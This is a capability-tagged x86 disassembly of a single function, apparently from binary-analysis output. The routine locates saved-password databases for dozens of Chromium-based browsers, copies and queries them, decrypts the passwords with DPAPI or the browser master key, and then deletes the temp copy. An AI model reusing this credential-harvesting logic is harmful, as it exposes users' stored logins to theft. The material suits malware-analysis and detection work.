Function at 0x415293
Capabilities:
Copy file
Delete file
Get common file path
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186bc
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov esi, str.Login_Data
mov dword [ebp - 0x186ac], eax
lea edi, [ebp - 0xea64]
push 0x2705
lea eax, [ebp - 0xea59]
movsd dword es:[edi], dword [esi]
push 0
push eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00626f50
push 0x1c
pop ebx
push 0xc
pop ecx
mov esi, str.select__from_logins_where_blacklisted_by_user0_
lea edi, [ebp - 0x9c44]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
push 0x26de
push eax
mov dword [ebp - 0x186b0], eax
mov dword [ebp - 0x186a8], eax
lea eax, [ebp - 0x9c12]
push eax
movsw word es:[edi], word [esi]
call fcn.00626f50
mov esi, dword [ebp + 8]
push 5
pop edi
push esi
push str.LoadPasswordFromChromeStore
push str._s_entered_for_browser__d
mov dword [ebp - 0x186b4], 7
mov dword [ebp - 0x186b8], 3
mov dword [ebp - 0x186bc], edi
call fcn.00449974
add esp, 0x24
cmp esi, 7
jne 0x415350
mov ecx, str.MapleStudioChromePlusUser_DataDefault_
jmp 0x4156e6
cmp esi, 6
jne 0x41535f
mov ecx, str.GoogleChrome_SxSUser_DataDefault_
jmp 0x4156e6
cmp esi, 9
jne 0x41536e
mov ecx, str.ComodoDragonUser_DataDefault_
jmp 0x4156e6
cmp esi, 0xa
jne 0x41537d
mov ecx, str.ChromiumUser_DataDefault_
jmp 0x4156e6
cmp esi, 0xc
jne 0x41538c
mov ecx, str.TorchUser_DataDefault_
jmp 0x4156e6
cmp esi, edi
jne 0x41539a
mov ecx, str.FlockUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x10
jne 0x4153a9
mov ecx, str.VivaldiUser_DataDefault_
jmp 0x4156e6
push 0xb
pop edi
cmp esi, edi
jne 0x4153c0
lea eax, [ebp - 0x9c44]
mov ecx, str.select__from_wow_logins_where_blacklisted_by_user0_
jmp 0x4156ec
cmp esi, 0x15
jne 0x4153cf
mov ecx, str.OrbitumUser_DataDefault_
jmp 0x4156e6
cmp esi, 0xd
jne 0x4153de
mov ecx, str.MicrosoftEdgeUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x19
jne 0x4153ed
mov ecx, str.CocCocBrowserUser_DataDefault_
jmp 0x4156e6
push 0x1a
pop eax
cmp esi, eax
jne 0x4153fe
mov ecx, str.ChedotUser_DataDefault_
jmp 0x4156e6
cmp esi, ebx
jne 0x41540c
mov ecx, str.Epic_Privacy_BrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x1d
jne 0x41541b
mov ecx, str.CCleaner_BrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x14
jne 0x41542a
mov ecx, str.BraveSoftwareBrave_BrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x21
je 0x415373
cmp esi, 0x2c
jne 0x415442
mov ecx, str.AVAST_SoftwareBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x2d
jne 0x415451
mov ecx, str.AVGBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x36
jne 0x415460
mov ecx, str.CentBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x3b
jne 0x41546f
mov ecx, str.GhostBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x33
jne 0x41547e
mov ecx, str.CoowonCoowonUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x32
jne 0x41548d
mov ecx, str.CatalinaGroupCitrioUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x1f
jne 0x41549c
mov ecx, str.SlimjetUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x27
jne 0x4154ab
mov ecx, str.uCozMediaUranUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x38
jne 0x4154ba
mov ecx, str.URBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x31
jne 0x4154c9
mov ecx, str.IridiumUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x3d
jne 0x4154d8
mov ecx, str.KinzaUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x22
jne 0x4154e7
mov ecx, str.7Star7StarUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x23
jne 0x4154f6
mov ecx, str.AmigoUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x24
jne 0x415505
mov ecx, str.Elements_BrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x25
jne 0x415514
mov ecx, str.KometaUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x26
jne 0x415523
mov ecx, str.SputnikSputnikUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x13
jne 0x415532
mov ecx, str.MaxthonApplicationUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x3e
jne 0x415541
mov ecx, str.SalamWebUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x3f
jne 0x415550
mov ecx, str.NaverNaver_WhaleUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x40
jne 0x41555f
mov ecx, str.SwingBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x41
jne 0x41556e
mov ecx, str.BliskUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x42
jne 0x41557d
mov ecx, str.Opera_SoftwareOpera_NeonUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x49
jne 0x41558c
mov ecx, str.RafotechMustangUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x50
jne 0x41559b
mov ecx, str.SidekickUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x4e
jne 0x4155aa
mov ecx, str.NetboxBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x4d
jne 0x4155b9
mov ecx, str.CryptoTab_BrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x4b
jne 0x4155c8
mov ecx, str.Mail.RuAtomUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x53
jne 0x4155d7
mov ecx, str.InsomniacBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x54
jne 0x4155e6
mov ecx, str.ViaSatViasat_BrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x55
jne 0x4155f5
mov ecx, str.SuperbirdUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x4f
jne 0x415606
mov ebx, eax
mov ecx, str.Opera_SoftwareOpera_Crypto_Developer_
jmp 0x4156e6
cmp esi, 0x56cd
jne 0x415667
push str.TencentQQBrowserUser_DataDefault_
lea eax, [ebp - 0x2714]
push 0x2710
push eax
call fcn.006311ec
push str.EncryptedStorage
lea eax, [ebp - 0xea64]
push 0x2710
push eax
call fcn.006311ec
add esp, 0x18
mov dword [ebp - 0x186b4], edi
mov dword [ebp - 0x186b8], 0xa
lea eax, [ebp - 0x9c44]
mov dword [ebp - 0x186bc], 4
mov ecx, str.select__from_entries_
jmp 0x4156ec
cmp esi, 0x16
jne 0x415673
mov ecx, str.TencentQQBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x2f
jne 0x41567f
mov ecx, str.AOLAOL_ShieldUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x56
jne 0x41568d
mov ebx, eax
mov ecx, str.SSuite_OfficeNetSurfer_CacheEBWebViewDefault_
jmp 0x4156e6
cmp esi, 0x57
jne 0x415699
mov ecx, str.ZohoUlaaUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x59
jne 0x4156a5
mov ecx, str.DcBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x5a
jne 0x4156b3
mov ebx, eax
mov ecx, str.SogouExplorerWebkitDefault_
jmp 0x4156e6
cmp esi, 0x5b
jne 0x4156bf
mov ecx, str.TempestBrowserUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x5d
jne 0x4156cb
mov ecx, str.WaveboxAppUser_DataDefault_
jmp 0x4156e6
cmp esi, 0x60
jne 0x4156d7
mov ecx, str.360SecureBrowserChromeUser_DataDefault_
jmp 0x4156e6
mov ecx, str.GoogleChrome_BetaUser_DataDefault_
cmp esi, 0x58
je 0x4156e6
mov ecx, str.GoogleChromeUser_DataDefault_
lea eax, [ebp - 0x2714]
push ecx
push 0x2710
push eax
call fcn.006311ec
mov edi, dword [ebp - 0x186ac]
add esp, 0xc
test edi, edi
je 0x415780
push edi
call fcn.00449791
pop ecx
test eax, eax
je 0x415c1f
push edi
mov edi, 0x2710
lea eax, [ebp - 0x4e24]
push edi
push eax
call fcn.006311ec
add esp, 0xc
lea eax, [ebp - 0x186ac]
mov dword [ebp - 0x186ac], edi
push eax
lea eax, [ebp - 0x15f94]
push eax
lea eax, [ebp - 0x4e24]
push str.Local_State
push eax
call fcn.00410a2b
add esp, 0x10
mov ebx, str.LoadPasswordFromChromeStore
test eax, eax
jne 0x415882
lea eax, [ebp - 0x4e24]
push eax
push ebx
push str._s:_Failed_to_find_master_key_for_browser__s
call fcn.00449974
add esp, 0xc
and dword [ebp - 0x186ac], 0
jmp 0x41588e
lea eax, [ebp - 0x4e24]
push eax
xor eax, eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x4157a7
push str._n_Failed_to_get_current_users_local_appdata_folder
call fcn.00449974
pop ecx
jmp 0x415c1f
lea eax, [ebp - 0x2714]
mov edi, 0x2710
push eax
lea eax, [ebp - 0x4e24]
push edi
push eax
call fcn.00631246
lea eax, [ebp - 0x4e24]
push eax
call fcn.0044975e
add esp, 0x10
test eax, eax
jne 0x4157f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x4e24]
push eax
push str.LoadPasswordFromChromeStore
push str._s_:_Specified_profile_path___s__does_not_exist__Error0x_.8x
call fcn.00449974
add esp, 0x10
jmp 0x415c1f
lea eax, [ebp - 0x4e24]
push eax
lea eax, [ebp - 0x186a4]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0x4e24]
push eax
call fcn.00631510
add esp, 0x10
cmp byte [ebp + eax - 0x4e25], 0x5c
je 0x41583a
push 0x67cb68
lea eax, [ebp - 0x4e24]
push edi
push eax
call fcn.00631246
add esp, 0xc
lea eax, [ebp - 0xea64]
push eax
lea eax, [ebp - 0x4e24]
push edi
push eax
call fcn.00631246
lea eax, [ebp - 0x4e24]
push eax
call fcn.00449791
add esp, 0x10
test eax, eax
jne 0x41572a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x4e24]
push eax
push str.LoadPasswordFromChromeStore
push str._s_:_Specified_profile_FILE___s__does_not_exist__Error0x_.8x
jmp 0x4157eb
mov eax, dword [ebp - 0x186ac]
mov dword [ebp - 0x186ac], eax
lea eax, [ebp - 0x7534]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0xea64]
push eax
lea eax, [ebp - 0x7534]
push edi
push eax
call fcn.00631246
add esp, 0xc
lea eax, [ebp - 0x7534]
push 0
push eax
lea eax, [ebp - 0x4e24]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x4158f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x4e24]
push eax
push ebx
push str._s:_Failed_to_copy_file__s__to_tmp_file__s__Error0x_.8x
call fcn.00449974
add esp, 0x14
lea edi, [ebp - 0x4e24]
jmp 0x415913
lea eax, [ebp - 0x7534]
push eax
push ebx
push str._s:_Successfully_copied_to_tmp_file__s
call fcn.00449974
add esp, 0xc
lea edi, [ebp - 0x7534]
push 0
push 1
lea eax, [ebp - 0x186b0]
push eax
push edi
call fcn.0045c0d6
add esp, 0x10
test eax, eax
je 0x415938
push eax
push edi
push ebx
push str._s_:_Failed_to_open_the_database_file__s__Error___d
jmp 0x4157eb
push 0
lea eax, [ebp - 0x186a8]
push eax
lea eax, [ebp - 0x9c44]
push eax
call fcn.00631510
pop ecx
push eax
lea eax, [ebp - 0x9c44]
push eax
push dword [ebp - 0x186b0]
call fcn.0045c571
add esp, 0x14
test eax, eax
jne 0x415c10
cmp dword [ebp - 0x186a8], eax
je 0x415c10
push dword [ebp - 0x186a8]
xor eax, eax
mov byte [ebp - 0x11174], al
mov byte [ebp - 0x13884], al
mov byte [ebp - 0xc354], al
call fcn.0045ccca
pop ecx
cmp eax, 0x65
je 0x415bb7
cmp eax, 0x64
jne 0x415bb0
push dword [ebp - 0x186b4]
push dword [ebp - 0x186a8]
call fcn.0045ce99
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4159fd
push edi
push ebx
push str._s___Found_website___s
call fcn.00449974
push edi
call fcn.00631510
add esp, 0x10
cmp eax, 0x2328
jbe 0x4159e6
mov byte [edi + 0x2328], 0
push edi
lea eax, [ebp - 0x13884]
push 0x2710
push eax
call fcn.006311ec
add esp, 0xc
jmp 0x415a0a
push ebx
push str._s____No_website_url_found
call fcn.00449974
pop ecx
pop ecx
push dword [ebp - 0x186b8]
push dword [ebp - 0x186a8]
call fcn.0045ce99
pop ecx
pop ecx
test eax, eax
je 0x415a36
push eax
lea eax, [ebp - 0x11174]
push 0x2710
push eax
call fcn.006311ec
add esp, 0xc
mov ebx, dword [ebp - 0x186bc]
push ebx
push dword [ebp - 0x186a8]
call fcn.0045cdd9
push ebx
push dword [ebp - 0x186a8]
mov edi, eax
call fcn.0045cf5f
add esp, 0x10
mov ebx, eax
test edi, edi
je 0x415b99
test ebx, ebx
je 0x415b99
push 0x10
push section..data
push edi
call fcn.0062534d
add esp, 0xc
test eax, eax
jne 0x415aa9
push str.LoadPasswordFromChromeStore
push str._s_:_Found_DPAPI_type_password...decrypting_it_now
call fcn.00449974
push 0x2710
lea eax, [ebp - 0xc354]
push eax
push ebx
push edi
call fcn.00408835
add esp, 0x18
jmp 0x415b48
push 3
push 0x67c1b0
push edi
call fcn.0062534d
add esp, 0xc
test eax, eax
jne 0x415b80
push 0x67c1b0
push str.LoadPasswordFromChromeStore
push str._s_:_Found_New__s_Chrome_password_found...decrypting_it_now
call fcn.00449974
mov eax, dword [ebp - 0x186ac]
add esp, 0xc
test eax, eax
jne 0x415b0d
mov ebx, str.LoadPasswordFromChromeStore
push ebx
push str._s_:_Critical_Error:__Master_Key_is_empty_...aborting_the_decrypt_processs
call fcn.00449974
push str._Password_cannot_be_recovered_
lea eax, [ebp - 0xc354]
push 0x2710
push eax
call fcn.006311ec
add esp, 0x14
jmp 0x415b4d
push 0x2710
lea ecx, [ebp - 0xc354]
push ecx
push eax
lea eax, [ebp - 0x15f94]
push eax
push ebx
push edi
call fcn.0040c510
add esp, 0x18
test eax, eax
jne 0x415b48
push str._Password_cannot_be_recovered_
lea eax, [ebp - 0xc354]
push 0x2710
push eax
call fcn.006311ec
add esp, 0xc
mov ebx, str.LoadPasswordFromChromeStore
push 0xffffffffffffffff
lea eax, [ebp - 0x4e24]
push eax
lea eax, [ebp - 0xc354]
push eax
lea eax, [ebp - 0x11174]
push eax
lea eax, [ebp - 0x13884]
push eax
push 0x66ae5d
push esi
push 1
call fcn.00412c85
add esp, 0x20
jmp 0x415978
push ebx
mov ebx, str.LoadPasswordFromChromeStore
push ebx
push str._s_:__Unknown_or_Corrupted_password_data_of_length__d_found_...ignore_now_
call fcn.00449974
add esp, 0xc
jmp 0x415978
mov ebx, str.LoadPasswordFromChromeStore
push ebx
push str._s_:_Found_empty_password...checking_next_one
call fcn.00449974
pop ecx
pop ecx
jmp 0x415978
mov eax, str._s___No_new_row_found_in_password_file..
jmp 0x415bbc
mov eax, str._s___Done_with_reading_all_entries..
push ebx
push eax
call fcn.00449974
push esi
push ebx
push str._s_Finished_enumerating_all_passwords_for_browser__d
call fcn.00449974
push dword [ebp - 0x186a8]
call fcn.0045cfda
push dword [ebp - 0x186b0]
call fcn.0045b0c9
lea eax, [ebp - 0x7534]
push eax
push ebx
push str._s_Deleting_temp_file_now__s
call fcn.00449974
add esp, 0x28
lea eax, [ebp - 0x7534]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
push ebx
push str._s_entered_for_browser__d
jmp 0x415c17
push eax
push ebx
push str._s_:_Failed_to_query_the_logins_table_for_signon_list__Error___d
call fcn.00449974
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret